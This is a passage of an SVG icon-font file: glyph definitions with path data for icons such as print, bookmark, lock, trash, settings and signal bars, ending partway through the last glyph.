<glyph unicode="&#xf02f;" d="M 96,0l 224,0 l0,64 l-224,0 l0-64 zM 96,160l 224,0 l0,96 l-40,0 q-10,0 -17,7t-7,17l0,40 l-160,0 l0-160 zM 384,144q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 416,144l0-104 q0-3.25 -2.375-5.625t-5.625-2.375l-56,0 l0-40 q0-10 -7-17t-17-7l-240,0 q-10,0 -17,7t-7,17 l0,40 l-56,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,104 q0,19.75 14.125,33.875t 33.875,14.125l 16,0 l0,136 q0,10 7,17t 17,7l 168,0 q 10,0 22-5t 19-12l 38-38q 7-7 12-19t 5-22l0-64 l 16,0 q 19.75,0 33.875-14.125t 14.125-33.875z" horiz-adv-x="416" data-tags="print" />
<glyph unicode="&#xf02e;" d="M 291,352q 5.75,0 11-2.25q 8.25-3.25 13.125-10.25t 4.875-15.5l0-322.25 q0-8.5 -4.875-15.5t-13.125-10.25q-4.75-2 -11-2q-12,0 -20.75,8l-110.25,106l-110.25-106q-9-8.25 -20.75-8.25q-5.75,0 -11,2.25q-8.25,3.25 -13.125,10.25t-4.875,15.5l0,322.25 q0,8.5 4.875,15.5t 13.125,10.25q 5.25,2.25 11,2.25l 262,0 z" horiz-adv-x="320" data-tags="bookmark, favorite, ribbon" />
<glyph unicode="&#xf02d;" d="M 409.75,264.5q 10-14.25 4.5-32.25l-68.75-226.5q-4.75-16 -19.125-26.875t-30.625-10.875l-230.75,0 q-19.25,0 -37.125,13.375t-24.875,32.875q-6,16.75 -0.5,31.75q0,1 0.75,6.75t 1,9.25q 0.25,2 -0.75,5.375t-0.75,4.875q 0.5,2.75 2,5.25t 4.125,5.875t 4.125,5.875q 5.75,9.5 11.25,22.875t 7.5,22.875q 0.75,2.5 0.125,7.5t-0.125,7q 0.75,2.75 4.25,7t 4.25,5.75 q 5.25,9 10.5,23t 6.25,22.5q 0.25,2.25 -0.625,8t 0.125,7q 1,3.25 5.5,7.625t 5.5,5.625q 4.75,6.5 10.625,21.125t 6.875,24.125q 0.25,2 -0.75,6.375t-0.5,6.625q 0.5,2 2.25,4.5t 4.5,5.75t 4.25,5.25q 2,3 4.125,7.625t 3.75,8.75t 4,9t 4.875,8t 6.625,5.875t 9,2.875t 11.875-1.375l-0.25-0.75q 9.5,2.25 12.75,2.25l 190.25,0 q 18.5,0 28.5-14t 4.5-32.5l-68.5-226.5 q-9-29.75 -17.875-38.375t-32.125-8.625l-217.25,0 q-6.75,0 -9.5-3.75q-2.75-4 -0.25-10.75q 6-17.5 36-17.5l 230.75,0 q 7.25,0 14,3.875t 8.75,10.375l 75,246.75q 1.75,5.5 1.25,14.25q 9.5-3.75 14.75-10.75zM 143.75,264q-1-3.25 0.5-5.625t 5-2.375l 152,0 q 3.25,0 6.375,2.375t 4.125,5.625l 5.25,16q 1,3.25 -0.5,5.625t-5,2.375l-152,0 q-3.25,0 -6.375-2.375 t-4.125-5.625zM 123,200q-1-3.25 0.5-5.625t 5-2.375l 152,0 q 3.25,0 6.375,2.375t 4.125,5.625l 5.25,16q 1,3.25 -0.5,5.625t-5,2.375l-152,0 q-3.25,0 -6.375-2.375t-4.125-5.625z" horiz-adv-x="416" data-tags="book, read, study, learn, education" />
<glyph unicode="&#xf02c;" d="M 112,272q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 378.75,128q0-13.25 -9.25-22.5l-122.75-123q-9.75-9.25 -22.75-9.25q-13.25,0 -22.5,9.25l-178.75,179q-9.5,9.25 -16.125,25.25t-6.625,29.25l0,104 q0,13 9.5,22.5t 22.5,9.5l 104,0 q 13.25,0 29.25-6.625t 25.5-16.125 l 178.75-178.5q 9.25-9.75 9.25-22.75zM 474.75,128q0-13.25 -9.25-22.5l-122.75-123q-9.75-9.25 -22.75-9.25q-9,0 -14.75,3.5t-13.25,11.25l 117.5,117.5q 9.25,9.25 9.25,22.5q0,13 -9.25,22.75l-178.75,178.5q-9.5,9.5 -25.5,16.125t-29.25,6.625l 56,0 q 13.25,0 29.25-6.625t 25.5-16.125l 178.75-178.5q 9.25-9.75 9.25-22.75z" horiz-adv-x="480" data-tags="tags, price, ecommerce" />
<glyph unicode="&#xf02b;" d="M 112,272q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 378.75,128q0-13.25 -9.25-22.5l-122.75-123q-9.75-9.25 -22.75-9.25q-13.25,0 -22.5,9.25l-178.75,179q-9.5,9.25 -16.125,25.25t-6.625,29.25l0,104 q0,13 9.5,22.5t 22.5,9.5l 104,0 q 13.25,0 29.25-6.625t 25.5-16.125 l 178.75-178.5q 9.25-9.75 9.25-22.75z" horiz-adv-x="384" data-tags="tag, price, ecommerce" />
<glyph unicode="&#xf02a;" d="M 15.75,0l-15.75,0 l0,352 l 15.75,0 l0-352 zM 31.5,0.25l-8,0 l0,351.75 l 8,0 l0-351.75 zM 55,0.25l-7.75,0 l0,351.75 l 7.75,0 l0-351.75 zM 94.25,0.25l-7.75,0 l0,351.75 l 7.75,0 l0-351.75 zM 133.5,0.25l-15.5,0 l0,351.75 l 15.5,0 l0-351.75 zM 165,0.25l-7.75,0 l0,351.75 l 7.75,0 l0-351.75 zM 180.75,0.25l-7.75,0 l0,351.75 l 7.75,0 l0-351.75 zM 196.5,0.25l-7.75,0 l0,351.75 l 7.75,0 l0-351.75 zM 235.75,0.25l-15.75,0 l0,351.75 l 15.75,0 l0-351.75 zM 275,0.25l-15.75,0 l0,351.75 l 15.75,0 l0-351.75 z M 306.5,0.25l-15.75,0 l0,351.75 l 15.75,0 l0-351.75 zM 338,0.25l-15.75,0 l0,351.75 l 15.75,0 l0-351.75 zM 361.5,0.25l-15.75,0 l0,351.75 l 15.75,0 l0-351.75 zM 408.75,0.25l-23.5,0 l0,351.75 l 23.5,0 l0-351.75 zM 424.5,0.25l-8,0 l0,351.75 l 8,0 l0-351.75 zM 448,0l-15.75,0 l0,352 l 15.75,0 l0-352 z" data-tags="barcode" />
<glyph unicode="&#xf029;" d="M 96,96l0-32 l-32,0 l0,32 l 32,0 zM 96,288l0-32 l-32,0 l0,32 l 32,0 zM 288,288l0-32 l-32,0 l0,32 l 32,0 zM 32,32.25l 96,0 l0,95.75 l-96,0 l0-95.75 zM 32,224l 96,0 l0,96 l-96,0 l0-96 zM 224,224l 96,0 l0,96 l-96,0 l0-96 zM 160,160l0-160 l-160,0 l0,160 l 160,0 zM 288,32l0-32 l-32,0 l0,32 l 32,0 zM 352,32l0-32 l-32,0 l0,32 l 32,0 z M 352,160l0-96 l-96,0 l0,32 l-32,0 l0-96 l-32,0 l0,160 l 96,0 l0-32 l 32,0 l0,32 l 32,0 zM 160,352l0-160 l-160,0 l0,160 l 160,0 zM 352,352l0-160 l-160,0 l0,160 l 160,0 z" horiz-adv-x="352" data-tags="qrcode" />
<glyph unicode="&#xf028;" d="M 192,296l0-272 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-83.25,83.25l-65.5,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,96 q0,6.5 4.75,11.25t 11.25,4.75l 65.5,0 l 83.25,83.25q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25zM 288,160q0-19 -10.625-35.375t-28.125-23.375q-2.5-1.25 -6.25-1.25q-6.5,0 -11.25,4.625t-4.75,11.375q0,5.25 3,8.875t 7.25,6.25t 8.5,5.75t 7.25,8.875 t 3,14.25t-3,14.25t-7.25,8.875t-8.5,5.75t-7.25,6.25t-3,8.875q0,6.75 4.75,11.375t 11.25,4.625q 3.75,0 6.25-1.25q 17.5-6.75 28.125-23.25t 10.625-35.5zM 352,160q0-38.25 -21.25-70.625t-56.25-47.125q-3.25-1.25 -6.25-1.25q-6.75,0 -11.5,4.75t-4.75,11.25q0,9.75 9.75,14.75q 14,7.25 19,11q 18.5,13.5 28.875,33.875t 10.375,43.375t-10.375,43.375 t-28.875,33.875q-5,3.75 -19,11q-9.75,5 -9.75,14.75q0,6.5 4.75,11.25t 11.25,4.75q 3.25,0 6.5-1.25q 35-14.75 56.25-47.125t 21.25-70.625zM 416,160q0-57.5 -31.75-105.625t-84.5-70.875q-3.25-1.25 -6.5-1.25q-6.5,0 -11.25,4.75t-4.75,11.25q0,9 9.75,14.75q 1.75,1 5.625,2.625t 5.625,2.625q 11.5,6.25 20.5,12.75q 30.75,22.75 48,56.75t 17.25,72.25t-17.25,72.25 t-48,56.75q-9,6.5 -20.5,12.75q-1.75,1 -5.625,2.625t-5.625,2.625q-9.75,5.75 -9.75,14.75q0,6.5 4.75,11.25t 11.25,4.75q 3.25,0 6.5-1.25q 52.75-22.75 84.5-70.875t 31.75-105.625z" horiz-adv-x="416" data-tags="volume-up, speaker" />
<glyph unicode="&#xf027;" d="M 192,296l0-272 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-83.25,83.25l-65.5,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,96 q0,6.5 4.75,11.25t 11.25,4.75l 65.5,0 l 83.25,83.25q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25zM 288,160q0-19 -10.625-35.375t-28.125-23.375q-2.5-1.25 -6.25-1.25q-6.5,0 -11.25,4.625t-4.75,11.375q0,5.25 3,8.875t 7.25,6.25t 8.5,5.75t 7.25,8.875 t 3,14.25t-3,14.25t-7.25,8.875t-8.5,5.75t-7.25,6.25t-3,8.875q0,6.75 4.75,11.375t 11.25,4.625q 3.75,0 6.25-1.25q 17.5-6.75 28.125-23.25t 10.625-35.5z" horiz-adv-x="288" data-tags="volume-down, speaker" />
<glyph unicode="&#xf026;" d="M 192,296l0-272 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-83.25,83.25l-65.5,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,96 q0,6.5 4.75,11.25t 11.25,4.75l 65.5,0 l 83.25,83.25q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25z" horiz-adv-x="192" data-tags="volume-off, speaker, mute" />
<glyph unicode="&#xf025;" d="M 416,162.5q0-41.5 -15-78.5l-5-12.25l-46.25-8.25q-5.5-20.75 -22.625-34.125t-39.125-13.375l0-8 q0-3.5 -2.25-5.75t-5.75-2.25l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,144 q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-8 q 17.75,0 32.5-8.875t 23.25-23.875l 17,3q 7.25,23.75 7.25,48.25q0,37 -22,69.75t-59.125,52.25t-78.875,19.5 t-78.875-19.5t-59.125-52.25t-22-69.75q0-24.5 7.25-48.25l 17-3q 8.5,15 23.25,23.875t 32.5,8.875l0,8 q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-144 q0-3.5 -2.25-5.75t-5.75-2.25l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,8 q-22,0 -39.125,13.375t-22.625,34.125l-46.25,8.25l-5,12.25q-15,37 -15,78.5q0,37.75 16.75,72.75t 44.75,60.625 t 66.5,40.875t 80,15.25t 80-15.25t 66.5-40.875t 44.75-60.625t 16.75-72.75z" horiz-adv-x="416" data-tags="headphones, listen, music" />
<glyph unicode="&#xf024;" d="M 80,320q0-18 -16-27.5l0-316.5 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,316.5 q-16,9.5 -16,27.5q0,13.25 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 448,304l0-190.75 q0-6.25 -3.125-9.625t-9.875-6.875q-53.75-29 -92.25-29q-15.25,0 -30.875,5.5t-27.125,12 t-28.875,12t-35.625,5.5q-48,0 -116-36.5q-4.25-2.25 -8.25-2.25q-6.5,0 -11.25,4.75t-4.75,11.25l0,185.5 q0,8 7.75,13.75q 5.25,3.5 19.75,10.75q 59,30 105.25,30q 26.75,0 50-7.25t 54.75-22q 9.5-4.75 22-4.75q 13.5,0 29.375,5.25t 27.5,11.75t 22,11.75t 13.625,5.25q 6.5,0 11.25-4.75t 4.75-11.25z" data-tags="flag, report" />
<glyph unicode="&#xf023;" d="M 80,192l 128,0 l0,48 q0,26.5 -18.75,45.25t-45.25,18.75t-45.25-18.75t-18.75-45.25l0-48 zM 288,168l0-144 q0-10 -7-17t-17-7l-240,0 q-10,0 -17,7t-7,17l0,144 q0,10 7,17t 17,7l 8,0 l0,48 q0,46 33,79t 79,33t 79-33t 33-79l0-48 l 8,0 q 10,0 17-7t 7-17z" horiz-adv-x="288" data-tags="lock, password, secure, private, protected, encrypted" />
<glyph unicode="&#xf022;" d="M 96,88l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,152l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 96,216l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 384,88l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-240,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 240,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 384,152l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-240,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 240,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 384,216l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-240,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 240,0 q 3.25,0 5.625-2.375 t 2.375-5.625zM 416,40l0,208 q0,3.25 -2.375,5.625t-5.625,2.375l-368,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-208 q0-3.25 2.375-5.625t 5.625-2.375l 368,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 448,312l0-272 q0-16.5 -11.75-28.25t-28.25-11.75l-368,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,272 q0,16.5 11.75,28.25t 28.25,11.75l 368,0 q 16.5,0 28.25-11.75 t 11.75-28.25z" data-tags="list-alt" />
<glyph unicode="&#xf021;" d="M 377.75,120q0-1.25 -0.25-1.75q-16-67 -67-108.625t-119.5-41.625q-36.5,0 -70.625,13.75t-60.875,39.25l-32.25-32.25q-4.75-4.75 -11.25-4.75t-11.25,4.75t-4.75,11.25l0,112 q0,6.5 4.75,11.25t 11.25,4.75l 112,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25l-34.25-34.25q 17.75-16.5 40.25-25.5t 46.75-9q 33.5,0 62.5,16.25t 46.5,44.75q 2.75,4.25 13.25,29.25 q 2,5.75 7.5,5.75l 48,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 384,320l0-112 q0-6.5 -4.75-11.25t-11.25-4.75l-112,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25l 34.5,34.5q-37,34.25 -87.25,34.25q-33.5,0 -62.5-16.25t-46.5-44.75q-2.75-4.25 -13.25-29.25q-2-5.75 -7.5-5.75l-49.75,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,1.75 q 16.25,67 67.5,108.625t 120,41.625 q 36.5,0 71-13.875t 61.25-39.125l 32.5,32.25q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25z" horiz-adv-x="384" data-tags="refresh, synchronize" />
<glyph unicode="&#xf01e;" d="M 384,320l0-112 q0-6.5 -4.75-11.25t-11.25-4.75l-112,0 q-10.5,0 -14.75,10q-4.25,9.75 3.5,17.25l 34.5,34.5q-37,34.25 -87.25,34.25q-26,0 -49.625-10.125t-40.875-27.375t-27.375-40.875t-10.125-49.625t 10.125-49.625t 27.375-40.875t 40.875-27.375t 49.625-10.125q 29.75,0 56.25,13t 44.75,36.75q 1.75,2.5 5.75,3q 3.5,0 6.25-2.25 l 34.25-34.5q 2.25-2 2.375-5.125t-1.875-5.625q-27.25-33 -66-51.125t-81.75-18.125q-39,0 -74.5,15.25t-61.25,41t-41,61.25t-15.25,74.5t 15.25,74.5t 41,61.25t 61.25,41t 74.5,15.25q 36.75,0 71.125-13.875t 61.125-39.125l 32.5,32.25q 7.25,7.75 17.5,3.5q 9.75-4.25 9.75-14.75z" horiz-adv-x="384" data-tags="repeat, loop, reload, refresh, synchronize" />
<glyph unicode="&#xf01d;" d="M 296,160q0-9.25 -8-13.75l-136-80q-3.75-2.25 -8-2.25q-4,0 -8,2q-8,4.75 -8,14l0,160 q0,9.25 8,14q 8.25,4.5 16-0.25l 136-80q 8-4.5 8-13.75zM 328,160q0,37 -18.25,68.25t-49.5,49.5t-68.25,18.25t-68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25t 68.25,18.25t 49.5,49.5t 18.25,68.25zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="play-circle, media, control" />
<glyph unicode="&#xf01c;" d="M 255.75,144l 79,0 q-0.25,0.75 -0.625,2t-0.625,2l-53,124l-177,0 l-53-124q-0.25-0.5 -0.625-2t-0.625-2l 79,0 l 23.75-48l 80,0 zM 384,136.5l0-120.5 q0-6.5 -4.75-11.25t-11.25-4.75l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,120.5 q0,15.5 6.25,30.75l 59.5,138q 2.5,6.25 9.125,10.5t 13.125,4.25l 208,0 q 6.5,0 13.125-4.25t 9.125-10.5l 59.5-138 q 6.25-15.25 6.25-30.75z" horiz-adv-x="384" data-tags="inbox, drawer, storage, archive" />
<glyph unicode="&#xf01b;" d="M 279.5,165q-2-5 -7.5-5l-48,0 l0-88 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,88 l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75q0,3 2.5,6l 79.75,79.75q 2.75,2.25 5.75,2.25t 5.75-2.25l 80-80q 3.75-4 1.75-8.75zM 192,296q-37,0 -68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25t 68.25,18.25t 49.5,49.5 t 18.25,68.25t-18.25,68.25t-49.5,49.5t-68.25,18.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="upload, load, open" />
<glyph unicode="&#xf01a;" d="M 280,152q0-3 -2.5-6l-79.75-79.75q-2.75-2.25 -5.75-2.25t-5.75,2.25l-80,80q-3.75,4 -1.75,8.75q 2,5 7.5,5l 48,0 l0,88 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-88 l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 192,296q-37,0 -68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25t 68.25,18.25t 49.5,49.5t 18.25,68.25 t-18.25,68.25t-49.5,49.5t-68.25,18.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="download, arrow, store, save" />
<glyph unicode="&#xf019;" d="M 320,48q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 384,48q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 416,104l0-80 q0-10 -7-17t-17-7l-368,0 q-10,0 -17,7t-7,17l0,80 q0,10 7,17t 17,7l 116.25,0 l 33.75-34 q 14.5-14 34-14t 34,14l 34,34l 116,0 q 10,0 17-7t 7-17zM 334.75,246.25q 4.25-10.25 -3.5-17.5l-112-112q-4.5-4.75 -11.25-4.75t-11.25,4.75l-112,112q-7.75,7.25 -3.5,17.5q 4.25,9.75 14.75,9.75l 64,0 l0,112 q0,6.5 4.75,11.25t 11.25,4.75l 64,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-112 l 64,0 q 10.5,0 14.75-9.75z" horiz-adv-x="416" data-tags="download-alt, arrow, store, save" />
<glyph unicode="&#xf018;" d="M 277.75,135l0,1 l-6,80q-0.25,3.25 -2.75,5.625t-5.75,2.375l-46.5,0 q-3.25,0 -5.75-2.375t-2.75-5.625l-6-80l0-1 q-0.25-3 2-5t 5.25-2l 61,0 q 3,0 5.25,2t 2,5zM 467.5,18.25q0-18.25 -11.5-18.25l-176,0 q 3.25,0 5.5,2.375t 2,5.625l-5,64q-0.25,3.25 -2.75,5.625t-5.75,2.375l-68,0 q-3.25,0 -5.75-2.375t-2.75-5.625l-5-64 q-0.25-3.25 2-5.625t 5.5-2.375l-176,0 q-11.5,0 -11.5,18.25q0,13.5 6.5,29l 104.25,261q 2,4.75 6.5,8.25t 9.5,3.5l 84.75,0 q-3.25,0 -5.75-2.375t-2.75-5.625l-3.75-48q-0.25-3.5 2-5.75t 5.5-2.25l 41.5,0 q 3.25,0 5.5,2.25t 2,5.75l-3.75,48q-0.25,3.25 -2.75,5.625t-5.75,2.375l 84.75,0 q 5,0 9.5-3.5t 6.5-8.25l 104.25-261q 6.5-15.5 6.5-29z" horiz-adv-x="480" data-tags="road, asphalt" />
<glyph unicode="&#xf017;" d="M 224,248l0-112 q0-3.5 -2.25-5.75t-5.75-2.25l-80,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 56,0 l0,88 q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 328,160q0,37 -18.25,68.25t-49.5,49.5t-68.25,18.25t-68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25t 68.25,18.25t 49.5,49.5t 18.25,68.25zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="time, clock" />
<glyph unicode="&#xf016;" d="M 32,0l 256,0 l0,192 l-104,0 q-10,0 -17,7t-7,17l0,104 l-128,0 l0-320 zM 192,224l 94,0 q-2.5,7.25 -5.5,10.25l-78.25,78.25q-3,3 -10.25,5.5l0-94 zM 320,216l0-224 q0-10 -7-17t-17-7l-272,0 q-10,0 -17,7t-7,17l0,336 q0,10 7,17t 17,7l 160,0 q 10,0 22-5t 19-12l 78-78q 7-7 12-19t 5-22z " horiz-adv-x="320" data-tags="file, paper, new, empty" />
<glyph unicode="&#xf015;" d="M 352,136l0-120 q0-6.5 -4.75-11.25t-11.25-4.75l-96,0 l0,96 l-64,0 l0-96 l-96,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,120 q0,0.25 0.125,0.75t 0.125,0.75l 143.75,118.5l 143.75-118.5q 0.25-0.5 0.25-1.5zM 407.75,153.25l-15.5-18.5q-2-2.25 -5.25-2.75l-0.75,0 q-3.25,0 -5.25,1.75l-173,144.25l-173-144.25q-3-2 -6-1.75q-3.25,0.5 -5.25,2.75l-15.5,18.5q-2,2.5 -1.75,5.875t 2.75,5.375 l 179.75,149.75q 8,6.5 19,6.5t 19-6.5l 61-51l0,48.75 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-102 l 54.75-45.5q 2.5-2 2.75-5.375t-1.75-5.875z" horiz-adv-x="416" data-tags="home, house, building" />
<glyph unicode="&#xf014;" d="M 128,200l0-144 q0-3.5 -2.25-5.75t-5.75-2.25l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,144 q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 192,200l0-144 q0-3.5 -2.25-5.75t-5.75-2.25l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,144 q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 256,200l0-144 q0-3.5 -2.25-5.75t-5.75-2.25l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,144  q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 288,19l0,237 l-224,0 l0-237 q0-5.5 1.75-10.125t 3.625-6.75t 2.625-2.125l 208,0 q 0.75,0 2.625,2.125t 3.625,6.75t 1.75,10.125zM 120,288l 112,0 l-12,29.25q-1.75,2.25 -4.25,2.75l-79.25,0 q-2.5-0.5 -4.25-2.75zM 352,280l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-24,0 l0-237 q0-20.75 -11.75-35.875t-28.25-15.125l-208,0  q-16.5,0 -28.25,14.625t-11.75,35.375l0,238 l-24,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 77.25,0 l 17.5,41.75q 3.75,9.25 13.5,15.75t 19.75,6.5l 80,0 q 10,0 19.75-6.5t 13.5-15.75l 17.5-41.75l 77.25,0 q 3.5,0 5.75-2.25t 2.25-5.75z" horiz-adv-x="352" data-tags="trash, remove, delete, bin" />
<glyph unicode="&#xf013;" d="M 256,160q0,26.5 -18.75,45.25t-45.25,18.75t-45.25-18.75t-18.75-45.25t 18.75-45.25t 45.25-18.75t 45.25,18.75t 18.75,45.25zM 384,187.25l0-55.5 q0-3 -2-5.75t-5-3.25l-46.25-7q-4.75-13.5 -9.75-22.75q 8.75-12.5 26.75-34.5q 2.5-3 2.5-6.25t-2.25-5.75q-6.75-9.25 -24.75-27t-23.5-17.75q-3,0 -6.5,2.25l-34.5,27q-11-5.75 -22.75-9.5 q-4-34 -7.25-46.5q-1.75-7 -9-7l-55.5,0 q-3.5,0 -6.125,2.125t-2.875,5.375l-7,46q-12.25,4 -22.5,9.25l-35.25-26.75q-2.5-2.25 -6.25-2.25q-3.5,0 -6.25,2.75q-31.5,28.5 -41.25,42q-1.75,2.5 -1.75,5.75q0,3 2,5.75q 3.75,5.25 12.75,16.625t 13.5,17.625q-6.75,12.5 -10.25,24.75l-45.75,6.75q-3.25,0.5 -5.25,3.125t-2,5.875l0,55.5 q0,3 2,5.75t 4.75,3.25 l 46.5,7q 3.5,11.5 9.75,23q-10,14.25 -26.75,34.5q-2.5,3 -2.5,6q0,2.5 2.25,5.75q 6.5,9 24.625,26.875t 23.625,17.875q 3.25,0 6.5-2.5l 34.5-26.75q 11,5.75 22.75,9.5q 4,34 7.25,46.5q 1.75,7 9,7l 55.5,0 q 3.5,0 6.125-2.125t 2.875-5.375l 7-46q 12.25-4 22.5-9.25l 35.5,26.75q 2.25,2.25 6,2.25q 3.25,0 6.25-2.5q 32.25-29.75 41.25-42.5q 1.75-2 1.75-5.5 q0-3 -2-5.75q-3.75-5.25 -12.75-16.625t-13.5-17.625q 6.5-12.5 10.25-24.5l 45.75-7q 3.25-0.5 5.25-3.125t 2-5.875z" horiz-adv-x="384" data-tags="cog, settings, options, gear, preferences" />
<glyph unicode="&#xf012;" d="M 64,24l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 160,56l0-80 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,80 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 256,120l0-144 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75 l0,144 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 352,216l0-240 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,240 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 448,344l0-368 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,368 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75z" 